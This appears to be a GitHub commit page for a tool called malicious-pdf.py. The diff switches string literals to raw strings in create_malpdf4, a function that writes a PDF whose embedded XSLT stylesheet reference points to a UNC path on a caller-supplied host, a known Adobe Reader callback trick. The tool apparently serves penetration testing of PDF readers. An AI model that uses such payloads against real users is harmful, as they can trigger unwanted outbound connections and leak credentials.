Skip to content

Commit

Permalink
Merge pull request #18 from thetowsif/error-fix
Browse files Browse the repository at this point in the history
Fix SyntaxWarning by using raw strings in create_malpdf4 function
  • Loading branch information
jonaslejon authored Mar 4, 2025
2 parents 412eca7 + 0034c66 commit d2fdc13
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions malicious-pdf.py
Original file line number Diff line number Diff line change
Expand Up @@ -504,12 +504,12 @@ def create_malpdf2(filename, host):
# From: https://insert-script.blogspot.com/2019/01/adobe-reader-pdf-callback-via-xslt.html
def create_malpdf4(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-
file.write(r'''%PDF-
1 0 obj <<>>
stream
<?xml version="1.0" ?>
<?xml-stylesheet href="\\\\''' + host + '''\whatever.xslt" type="text/xsl" ?>
<?xml-stylesheet href="\\\\''' + host + r'''\whatever.xslt" type="text/xsl" ?>
endstream
endobj
trailer <<
Expand Down

0 comments on commit d2fdc13

Please sign in to comment.